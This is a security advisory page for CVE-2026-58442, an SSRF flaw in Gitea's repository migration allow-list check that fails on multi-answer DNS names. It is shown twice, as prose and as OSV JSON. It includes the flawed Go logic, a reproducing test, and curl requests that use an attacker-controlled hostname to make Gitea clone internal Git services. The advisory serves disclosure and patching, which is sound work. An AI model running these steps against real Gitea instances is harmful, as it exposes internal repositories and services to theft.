CVE-2026-58442: Gitea Repository Migration SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-h2x6-g7q6-344v
CVSS 6.5
CWE-918 CWE-200
Published
Advisory Summary

CVE-2026-58442 is a MODERATE (CVSS 6.5) repository migration ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Gitea libraries in the Go ecosystem. The issue involves repository migration ssrf via multi-answer dns allow-list bypass. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-58442 at a Glance

CVE Identifier CVE-2026-58442
GHSA Identifier GHSA-h2x6-g7q6-344v
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-58442

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58442, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address. An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker. ### Details The issue is in `services/migrations/migrate.go`, in the migration allow/block-list check. Current logic computes whether any resolved IP is allowed: ```go var ipAllowed bool var ipBlocked bool for _, addr := range addrList { ipAllowed = ipAllowed || allowList.MatchIPAddr(addr) ipBlocked = ipBlocked || blockList.MatchIPAddr(addr) } ``` Then, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true: ```go if !allowList.IsEmpty() { if !allowList.MatchHostName(hostName) && !ipAllowed { return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true} } } ``` This means a hostname resolving to both: - an allowed public IP, e.g. `1.2.3.4` - a blocked internal IP, e.g. `127.0.0.1` passes validation because the public IP sets `ipAllowed = true`. The actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly. The direct internal URL is correctly blocked, but the multi-answer hostname is accepted. ### PoC I verified the vulnerable predicate locally against Gitea checkout: ```text e8654c7e062431a521636703f47339cde64644fd ``` using Dockerized Go tests with `golang:1.26.4`. The local test proves: - `checkByAllowBlockList("loopback.example.test", [127.0.0.1])` is rejected. - `checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])` is accepted. Minimal reproducer at the validation layer: ```go func TestMigrationMultiAnswerAnyAllowed(t *testing.T) { old := setting.Migrations t.Cleanup(func() { setting.Migrations = old }) setting.Migrations.AllowedDomains = "" setting.Migrations.BlockedDomains = "" setting.Migrations.AllowLocalNetworks = false require.NoError(t, Init()) err := checkByAllowBlockList("mixed.example.test", []net.IP{ net.ParseIP("1.2.3.4"), net.ParseIP("127.0.0.1"), }) require.NoError(t, err, "mixed public+loopback answers should currently pass") err = checkByAllowBlockList("loopback.example.test", []net.IP{ net.ParseIP("127.0.0.1"), }) require.Error(t, err, "loopback-only answer should be rejected") } ``` To reproduce end-to-end: 1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`. 2. Create a normal non-admin user that can create repositories. 3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`. 4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone. 5. Confirm the direct internal migration is rejected: ```bash curl -X POST http://GITEA/api/v1/repos/migrate \ -H "Authorization: token USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://127.0.0.1:18082/repo.git", "repo_name": "direct-internal", "service": "git", "private": true }' ``` Expected direct result: ```json {"message":"You can not import from disallowed hosts."} ``` 6. Start a migration from the attacker-controlled multi-answer hostname: ```bash curl -X POST http://GITEA/api/v1/repos/migrate \ -H "Authorization: token USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://mixed.example.test:18082/repo.git", "repo_name": "multidns-ssrf", "service": "git", "private": true }' ``` Expected vulnerable result: - The migration request is accepted. - The git subprocess can connect to the internal address. - Internal repository contents are imported into the attacker's new Gitea repository. ### Impact This is a server-side request forgery in repository migration. An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated. Potentially impacted resources include: - internal Git repositories - localhost-only services - private network source-control services - metadata or internal infrastructure endpoints if reachable and compatible with the request path The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation. ### Suggested fix The migration allow/block-list check should fail closed for multi-answer DNS: - reject if **any** resolved IP is blocked - require **all** resolved IPs to be allowed when an allow-list is active - treat an empty resolution result as not IP-allowed - ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone` For example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND: ```go ipAllowed := len(addrList) > 0 ipBlocked := false for _, addr := range addrList { ipAllowed = ipAllowed && allowList.MatchIPAddr(addr) ipBlocked = ipBlocked || blockList.MatchIPAddr(addr) } ```

CVE-2026-58442 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-58442?
CVE-2026-58442 is a security vulnerability in Gitea involving Repository migration SSRF via multi-answer DNS allow-list bypass under CWE-918: Server-Side Request Forgery (SSRF).
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58442?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-58442?
CVE-2026-58442 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-58442?
CVE-2026-58442 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-58442?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h2x6-g7q6-344v",
  "modified" : "2026-07-21T20:37:45Z",
  "published" : "2026-07-21T20:37:45Z",
  "aliases" : [ "CVE-2026-58442" ],
  "summary" : "Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass",
  "details" : "### Summary\n\nGitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.\n\nAn authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.\n\n### Details\n\nThe issue is in `services/migrations/migrate.go`, in the migration allow/block-list check.\n\nCurrent logic computes whether any resolved IP is allowed:\n\n```go\nvar ipAllowed bool\nvar ipBlocked bool\nfor _, addr := range addrList {\n    ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)\n    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```\n\nThen, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true:\n\n```go\nif !allowList.IsEmpty() {\n    if !allowList.MatchHostName(hostName) && !ipAllowed {\n        return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}\n    }\n}\n```\n\nThis means a hostname resolving to both:\n\n- an allowed public IP, e.g. `1.2.3.4`\n- a blocked internal IP, e.g. `127.0.0.1`\n\npasses validation because the public IP sets `ipAllowed = true`.\n\nThe actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.\n\nThe direct internal URL is correctly blocked, but the multi-answer hostname is accepted.\n\n### PoC\n\nI verified the vulnerable predicate locally against Gitea checkout:\n\n```text\ne8654c7e062431a521636703f47339cde64644fd\n```\n\nusing Dockerized Go tests with `golang:1.26.4`.\n\nThe local test proves:\n\n- `checkByAllowBlockList(\"loopback.example.test\", [127.0.0.1])` is rejected.\n- `checkByAllowBlockList(\"mixed.example.test\", [1.2.3.4, 127.0.0.1])` is accepted.\n\nMinimal reproducer at the validation layer:\n\n```go\nfunc TestMigrationMultiAnswerAnyAllowed(t *testing.T) {\n    old := setting.Migrations\n    t.Cleanup(func() { setting.Migrations = old })\n\n    setting.Migrations.AllowedDomains = \"\"\n    setting.Migrations.BlockedDomains = \"\"\n    setting.Migrations.AllowLocalNetworks = false\n    require.NoError(t, Init())\n\n    err := checkByAllowBlockList(\"mixed.example.test\", []net.IP{\n        net.ParseIP(\"1.2.3.4\"),\n        net.ParseIP(\"127.0.0.1\"),\n    })\n    require.NoError(t, err, \"mixed public+loopback answers should currently pass\")\n\n    err = checkByAllowBlockList(\"loopback.example.test\", []net.IP{\n        net.ParseIP(\"127.0.0.1\"),\n    })\n    require.Error(t, err, \"loopback-only answer should be rejected\")\n}\n```\n\nTo reproduce end-to-end:\n\n1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`.\n2. Create a normal non-admin user that can create repositories.\n3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`.\n4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone.\n5. Confirm the direct internal migration is rejected:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n  -H \"Authorization: token USER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"http://127.0.0.1:18082/repo.git\",\n    \"repo_name\": \"direct-internal\",\n    \"service\": \"git\",\n    \"private\": true\n  }'\n```\n\nExpected direct result:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\n6. Start a migration from the attacker-controlled multi-answer hostname:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n  -H \"Authorization: token USER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"http://mixed.example.test:18082/repo.git\",\n    \"repo_name\": \"multidns-ssrf\",\n    \"service\": \"git\",\n    \"private\": true\n  }'\n```\n\nExpected vulnerable result:\n\n- The migration request is accepted.\n- The git subprocess can connect to the internal address.\n- Internal repository contents are imported into the attacker's new Gitea repository.\n\n### Impact\n\nThis is a server-side request forgery in repository migration.\n\nAn authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.\n\nPotentially impacted resources include:\n\n- internal Git repositories\n- localhost-only services\n- private network source-control services\n- metadata or internal infrastructure endpoints if reachable and compatible with the request path\n\nThe direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.\n\n### Suggested fix\n\nThe migration allow/block-list check should fail closed for multi-answer DNS:\n\n- reject if **any** resolved IP is blocked\n- require **all** resolved IPs to be allowed when an allow-list is active\n- treat an empty resolution result as not IP-allowed\n- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone`\n\nFor example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND:\n\n```go\nipAllowed := len(addrList) > 0\nipBlocked := false\nfor _, addr := range addrList {\n    ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)\n    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:37:45Z",
    "nvd_published_at" : null
  }
}